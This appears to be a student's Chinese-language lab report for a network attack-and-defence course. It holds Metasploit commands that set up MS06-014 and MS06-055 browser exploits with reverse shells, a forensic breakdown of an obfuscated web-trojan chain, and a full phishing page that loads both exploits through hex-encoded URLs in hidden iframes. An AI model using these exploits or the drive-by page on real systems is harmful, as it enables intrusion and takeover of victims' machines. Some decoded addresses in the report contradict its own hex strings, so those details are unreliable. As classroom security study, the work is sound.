20252811 2025-2026-2 《网络攻防实践》第十一周作业
1. 实践内容
1.1 实验内容概述
本次实践主要围绕Web浏览器漏洞利用与网页木马的攻防取证展开,具体包含以下三个核心模块:
- Web浏览器渗透攻击:掌握Metasploit框架中浏览器漏洞模块的操作规范。以MS06-014漏洞为例,配置相应的exploit与反向Shell payload,生成恶意URL。通过诱导靶机浏览器访问该链接,验证远程会话的建立及命令执行效果。
- 网页木马取证与溯源分析:以初始HTML文件为切入点,剖析网页挂马的隐藏加载机制。通过计算URL的MD5哈希值匹配本地样本库,逐层剥离Base64、XXTEA、Hex等混淆手段,还原恶意脚本的真实逻辑,并对最终释放的二进制木马进行静态特征分析。
- 浏览器渗透攻防对抗:攻击方综合使用MS06-055与MS06-014漏洞构建多路利用页面,采用十六进制编码混淆真实URL,并封装至统一入口,结合钓鱼邮件实施社会工程学攻击;防守方则依托流量抓包与源码审计,解混淆恶意链接,精准识别攻击意图与漏洞类型。
1.2 核心知识点梳理
-
MS06-014 :针对IE浏览器ActiveX控件的远程代码执行漏洞,利用
ie_createobject模块可构造恶意DOM对象,触发漏洞以反弹Shell。 -
MS06-055:早期IE浏览器处理矢量标记语言时存在的内存破坏漏洞,通过构造畸形VML页面可实现任意代码执行。
-
Iframe隐蔽挂载:利用
<iframe>标签的隐藏属性,在用户无感知的情况下静默加载恶意载荷页面。 -
前端代码混淆技术:为规避安全检测,攻击者常采用Base64、XXTEA加密、Hex/Octal编码以及Packer压缩等手段对恶意JS进行变形处理。
-
ActiveX组件滥用:通过调用系统或第三方存在缺陷的ActiveX控件,实现本地文件读写或远程木马下载。
-
堆喷射:在浏览器内存中大量分配包含NOP滑梯和Shellcode的字符串块,大幅提高漏洞触发后EIP跳转到恶意代码的概率。
-
统一漏洞分发入口:将多个不同漏洞的利用链接整合至单一网页中,通过脚本探测或并发加载,最大化攻击成功率。
2. 实践过程
2.1 Web浏览器渗透攻击实践
2.1.1 网络环境连通性验证
首先确认攻击机(Kali)与靶机(Win2k)的网络互通状态。
在Win2k靶机终端执行ipconfig,确认其IP为 192.168.1.131。
在Kali攻击机终端执行ip a,确认其IP为 192.168.1.132。
测试结果显示网络链路正常。
2.1.2 检索与加载渗透模块
在Kali终端输入msfconsole指令以唤起Metasploit交互式控制台。
执行 search MS06-014 检索相关利用模块,定位到 exploit/windows/browser/ie_createobject,该模块专门针对IE ActiveX远程代码执行漏洞。
输入 use exploit/windows/browser/ie_createobject 载入该攻击模块。
2.1.3 载荷配置与恶意页面生成
执行 show payloads 浏览兼容的攻击载荷列表。
根据实验需求,选择通用反向TCP Shell,执行 set payload generic/shell_reverse_tcp。
配置目标与监听地址:执行 set RHOST 192.168.1.131 指向靶机,执行 set LHOST 192.168.1.132 指向攻击机。
输入 exploit 启动攻击。系统将在8080端口启动Web服务并生成恶意URL,同时在4444端口建立反向监听。
2.1.4 靶机触发与权限获取
在Win2k靶机的IE浏览器中访问生成的恶意URL
返回Kali控制台,观察到Meterpreter/Shell会话已成功建立。
输入 sessions -i 1 切入会话,执行 ipconfig,返回结果为 192.168.1.131,证实已成功夺取靶机控制权。
2.2 取证分析实践:网页木马攻击链溯源
2.2.1 初始页面与挂马机制分析
使用纯文本编辑器打开从学习通获取的 start.html 样本,防止直接运行触发恶意行为。审查源码发现其通过隐藏iframe静默加载了 new09.htm,属于典型的iframe挂马手法。
结合实验指导书可知,new09.htm 进一步挂载了外部恶意页面 http://aa.18dd.net/aa/kl.htm,并引入了远程JS脚本 http://js.users.51.la/1299644.js。
2.2.2 MD5哈希匹配与样本提取
对提取出的两个核心URL计算MD5值,以便在本地 hashed 样本库中检索对应文件。
执行 echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum,得到 7f60672dcd6b5e90b6772545ee219bd3。
执行 echo -n "http://js.users.51.la/1299644.js" | md5sum,得到 23180a42a2ff1192150231b44ffdf3d3。
打开第一个匹配文件,确认其为普通页面。随后打开第二个匹配文件,发现其采用了 Base64 + XXTEA 双层加密,硬编码的解密密钥 \x73\x63\x72\x69\x70\x74 转换为ASCII即为 script。
2.2.3 核心JS脚本解密与逻辑剖析
利用在线XXTEA解密工具,输入密文变量与密钥 script,获取十六进制中间码。
将十六进制数据转换为明文JS代码,核心逻辑如下:脚本首先尝试实例化 Adodb.Stream (MS06-014),若失败则依次尝试 MPS.StormPlayer (暴风影音)、POWERPLAYER.PowerPlayerCtrl.1 (PPStream) 和 BaiduBar.Tool (百度搜霸)。
根据代码中引用的外部资源,继续计算以下4个URL的MD5值并提取本地样本:
-
1.js(MS06-014利用) -
b.js(暴风影音利用) -
pps.js(PPStream利用) -
bd.cab(百度搜霸利用)
2.2.4 子模块JS深度解密
1. 1.js (MS06-014) 分析
该文件采用Hex编码,转换为字符串后发现其利用 Microsoft.XMLHTTP 下载 014.exe,并通过 Adodb.Stream 将其保存为 ntuser.com,最后调用 ShellExecute 静默执行。
继续计算其下载的 014.exe 的MD5值以供后续分析。
2. b.js (暴风影音) 分析
该文件被Packer混淆。通过将代码中的 eval 替换为 console.log,并在浏览器开发者工具的Console中运行,成功还原出堆喷射代码。
分析还原后的代码,确认其通过构造大量内存块触发 MPS.StormPlayer 漏洞,Shellcode中硬编码了木马下载地址 bf.exe。计算 bf.exe 的MD5值。
3. pps.js (PPStream) 分析
该文件使用八进制编码,同样采用替换 eval 为 console.log 的方式在控制台进行解密。
解密结果显示其利用PPS ActiveX控件的 Logo 属性触发漏洞,Shellcode中包含 pps.exe 的下载链接。计算 pps.exe 的MD5值。
4. bd.cab (百度搜霸) 分析
解压提取出的 bd.cab 文件,获取内部的 bd.exe 可执行文件。
2.2.5 二进制木马(PE)静态分析
汇总提取到的四个可执行文件:14.exe、bf.exe、pps.exe、bd.exe。
执行 md5sum 校验发现四者哈希值完全一致,均为 1290ecd734d68d52318ea9016dc6fe63,属于同一木马的不同副本
利用PEiD对 bf.exe 进行静态反汇编分析,总结出以下恶意行为特征:
-
多级载荷下载:从远程服务器批量拉取
0.exe至19.exe。
-
持久化驻留:生成
AutoRun.inf实现U盘传播,并写入注册表实现开机自启。 -
反分析对抗:篡改系统时间以绕过部分杀软的特征库时效校验。
2.3 攻防对抗实践:多漏洞协同与流量审计
2.3.1 实验环境分配
-
攻击方 (Kali):192.168.1.132
-
防守方/靶机 (Win2k):192.168.1.131
2.3.2 构建MS06-055漏洞利用环境
加载 ms06_055_vml_method 模块,配置Web服务端口为8081,URI路径为 /ms06055,反向Shell监听端口设为4455。
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.1.132
set LPORT 4455
set ExitOnSession false
run -j
靶机浏览器访问 http://192.168.1.132:8081/ms06055。
Kali端通过 sessions -l 确认会话建立,切入会话执行 ipconfig 验证控制权。
2.3.3 构建MS06-014漏洞利用环境
加载 ie_createobject 模块,将Web服务端口更改为8082,URI设为 /ms06014,监听端口设为5544。
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.1.132
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j
靶机访问 http://192.168.32.6:8082/ms06014,Kali端同样成功接收会话并验证IP。
2.3.4 URL混淆与统一入口页面构造
利用 xxd 工具将两个恶意URL转换为十六进制字符串,以规避基础的特征检测。
在Kali上启动Apache服务 (sudo systemctl start apache2),并创建目录 sudo mkdir/var/www/html/2811。
编写 sudo vim /var/www/html/2811/index.html 作为统一钓鱼入口,内部嵌入JS解码函数与隐藏iframe,实现两个漏洞URL的延时加载:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(hex) {
var str = "";
hex = hex.replace(/\s+/g, "");
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
};
return str;
};
function loadWithWrite(url) {
document.write('<iframe src="' + url + '" width=1 height=1 style="display:none"></iframe>');
};
var u1 = "687474703a2f2f3139322e3136382e312e3133323a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e312e3133323a383038322f6d733036303134";
window.onload = function () {
loadWithWrite(h2s(u1));
loadWithWrite(h2s(u2));
};
</script>
</body>
</html>
使用 curl 命令本地访问 http://192.168.1.132/2811/index.html,验证页面源码输出正常。
2.3.5 钓鱼邮件模拟与攻击执行
编写包含统一入口链接的诱饵邮件文本 vim ~/2811_mail.txt。
现在首先启动MS06-014漏洞模块
此时靶机访问刚刚创建的url地址http://192.168.1.132/2811/index.html
返回kali发现攻击成功
再使用MS06-055漏洞模块实验
此时使用win2k访问链接http://192.168.1.132/2811/index.html
返回kali攻击机,发现攻击成功
2.3.6 防守方流量审计与解混淆
作为防守方,在Wireshark中过滤IP地址为192.168.1.131的数据,定位到靶机请求统一入口页面的流量。
右键追踪HTTP Stream,在响应体中清晰识别出JS解混淆函数 h2s 以及被Hex编码的变量 u1 和 u2。
通过手动或工具解码,成功还原出隐藏的真实攻击路径:
-
u1->http://192.168.1.131:8082/ms06014 -
u2->http://192.168.1.131:8081/ms06055
至此,分析完毕
3. 实验中遇到的问题及解决方案
最主要的问题就是最后使用自定义url实现点击1个网址能同时访问多个IP地址的脚本编写问题,询问AI、辗转多位同学的脚本作业最终才得以解决。脚本如下
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(hex) {
var str = "";
hex = hex.replace(/\s+/g, "");
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
};
return str;
};
function loadWithWrite(url) {
document.write('<iframe src="' + url + '" width=1 height=1 style="display:none"></iframe>');
};
var u1 = "687474703a2f2f3139322e3136382e312e3133323a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e312e3133323a383038322f6d733036303134";
window.onload = function () {
loadWithWrite(h2s(u1));
loadWithWrite(h2s(u2));
};
</script>
</body>
</html>
此脚本能保证邮件程序的正常运行,u1u2替换为自己的攻击IP地址即可
4. 实验总结
本次《网络攻防实践》的第11次实验,让我对Web客户端攻击与恶意代码溯源有了极具深度的实战体验。
在攻击视角下,我亲手利用Metasploit复现了IE浏览器早期的经典漏洞(MS06-014与MS06-055),深刻理解了ActiveX控件滥用与堆喷射技术在浏览器RCE中的威力。同时,通过构建多漏洞统一入口并施加Hex混淆,我掌握了如何通过社会工程学与前端技术结合来提高攻击的隐蔽性与成功率。
在防守与取证视角下,网页木马的“洋葱式”嵌套结构令我印象深刻。从最初的iframe静默挂载,到Base64/XXTEA多层加密,再到针对不同环境探测不同的ActiveX组件,攻击者的反侦察手段极其丰富。通过手动计算MD5匹配样本、在浏览器控制台动态解密Packer/Hex代码,我完整还原了一条从“网页访问”到“木马驻留”的黑色产业链。
在最后的攻防对抗环节,攻击者往往只需借助基础的编码与混淆手段,便能轻易绕过外围的安全检测机制;相比之下,防守方在进行取证与溯源时,不仅高度依赖完善的沙箱运行环境,还需要具备扎实的逆向解码能力。在实际对抗中,攻击载荷引发的进程崩溃现象,不仅暴露了传统堆栈溢出攻击在稳定性上的固有缺陷,也从侧面印证了采用混合挂马架构以提升攻击成功率的战术必然性。
随着本学期所有实验的圆满落幕,我不仅积累了扎实的渗透测试与应急响应技能,更建立起了“未知攻,焉知防”的安全辩证思维。网络空间中的漏洞与攻击手段虽然千变万化,但只要掌握底层原理与科学的分析方法,便能做到见招拆招。这门课程为我未来的网络安全学习与研究打下了极其坚实的基础。

浙公网安备 33010602011771号